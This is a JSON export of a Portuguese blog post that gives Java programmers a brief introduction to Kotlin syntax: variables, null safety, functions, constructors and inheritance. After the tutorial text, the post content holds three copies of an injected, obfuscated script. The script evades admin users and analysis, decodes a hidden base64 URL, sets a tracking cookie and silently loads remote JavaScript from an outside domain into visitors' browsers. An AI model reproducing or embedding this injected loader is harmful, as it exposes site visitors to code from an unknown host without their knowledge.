{"id":4385,"date":"2019-03-20T09:17:46","date_gmt":"2019-03-20T12:17:46","guid":{"rendered":"http:\/\/thiagovespa.com.br\/blog\/?p=4385"},"modified":"2025-10-26T22:31:09","modified_gmt":"2025-10-27T01:31:09","slug":"kotlin-para-programadores-java","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2019\/03\/20\/kotlin-para-programadores-java\/","title":{"rendered":"Kotlin para programadores Java"},"content":{"rendered":"\n<p>Comecei a me aventurar no  mundo do Kotlin e resolvi criar uma mini refer\u00eancia para facilitar para quem vem do universo Java. Abaixo temos um resuminho inicial que pode facilitar a vida de quem est\u00e1 come\u00e7ando no Kotlin:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Ponto e v\u00edrgula \u00e9 opcional<\/li><li>Constantes n\u00e3o precisam de tipo e s\u00e3o declaradas com a palavra <strong>val<\/strong>. Ex: <em>val titulo = \"Blog\"<\/em> \u00e9 o equivalente em Java a <em>final String titulo = \"Blog\";<\/em><\/li><li>Vari\u00e1veis tamb\u00e9m n\u00e3o precisam de tipo e s\u00e3o declaradas com a palavra <strong>var<\/strong>. Ex: <em>var nome = \"Vespa\"<\/em> \u00e9 o equivalente em Java a <em>String nome = \"Vespa\";<\/em><\/li><li>Quando necess\u00e1rio identificar o tipo da vari\u00e1vel, constante ou retorno de fun\u00e7\u00e3o \u00e9 s\u00f3 colocar dois pontos e o tipo ap\u00f3s a declara\u00e7\u00e3o. Ex: <em>var nome: String<\/em><\/li><li>Quando a vari\u00e1vel permite nulo \u00e9 s\u00f3 colocar o ponto de interroga\u00e7\u00e3o no tipo. Ex: <em>var nome: String? = null<\/em><\/li><li>O operador tern\u00e1rio para verifica\u00e7\u00e3o de nulo para atribui\u00e7\u00e3o de valor default n\u00e3o \u00e9 mais necess\u00e1rio (e n\u00e3o existe). Isso tamb\u00e9m \u00e9 feito com o ponto de interroga\u00e7\u00e3o. Ex: <em>var tamanho = nome?.length ?: 0<\/em> (Se o nome for nulo o valor para tamanho \u00e9 zero, caso contr\u00e1rio \u00e9 o tamanho). Voc\u00ea tamb\u00e9m pode executar uma a\u00e7\u00e3o como dar um return na fun\u00e7\u00e3o ou lan\u00e7ar uma exce\u00e7\u00e3o.<\/li><li>Declara\u00e7\u00e3o de fun\u00e7\u00f5es (de modo grosseiro: o equivalente a m\u00e9todos em java). Utilize <strong>fun<\/strong>.<\/li><\/ul>\n\n\n\n<p><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nfun soma(a: Int, b: Int): Int {\n     return a + b \n}\n<\/pre>\nou\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nfun soma(a: Int, b: Int) = a + b\n<\/pre>\n<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>O construtor prim\u00e1rio \u00e9 definido j\u00e1 na declara\u00e7\u00e3o de classe. Ex: <em>class Pessoa(val nome: String, var idade: Int)<\/em><\/li><li>Heran\u00e7a \u00e9 feita semelhante \u00e0 declara\u00e7\u00e3o de tipos de vari\u00e1veis, mas passando o construtor que ser\u00e1 chamado. Ex: <em>class PessoaJuridica(nome: String) : Pessoa (nome)<\/em><\/li><li>Para sobrescrever uma fun\u00e7\u00e3o, \u00e9 necess\u00e1rio usar a palavra <strong>override<\/strong>.<\/li><\/ul>\n\n\n\n<p>H\u00e1 outros recursos bem interessantes do Kotlin, como Data classes, express\u00e3o When, cole\u00e7\u00f5es, extens\u00f5es e afins, que abordaremos em outros artigos. Aguarde!<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Comecei a me aventurar no mundo do Kotlin e resolvi criar uma mini refer\u00eancia para facilitar para quem vem do universo Java. Abaixo temos um resuminho inicial que pode facilitar a vida de quem est\u00e1 come\u00e7ando no Kotlin: Ponto e <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2019\/03\/20\/kotlin-para-programadores-java\/\">Continue lendo  <span class=\"screen-reader-text\">  Kotlin para programadores Java<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[84,3],"tags":[],"class_list":["post-4385","post","type-post","status-publish","format-standard","hentry","category-android","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4385","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4385"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4385\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4385"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4385"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4385"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}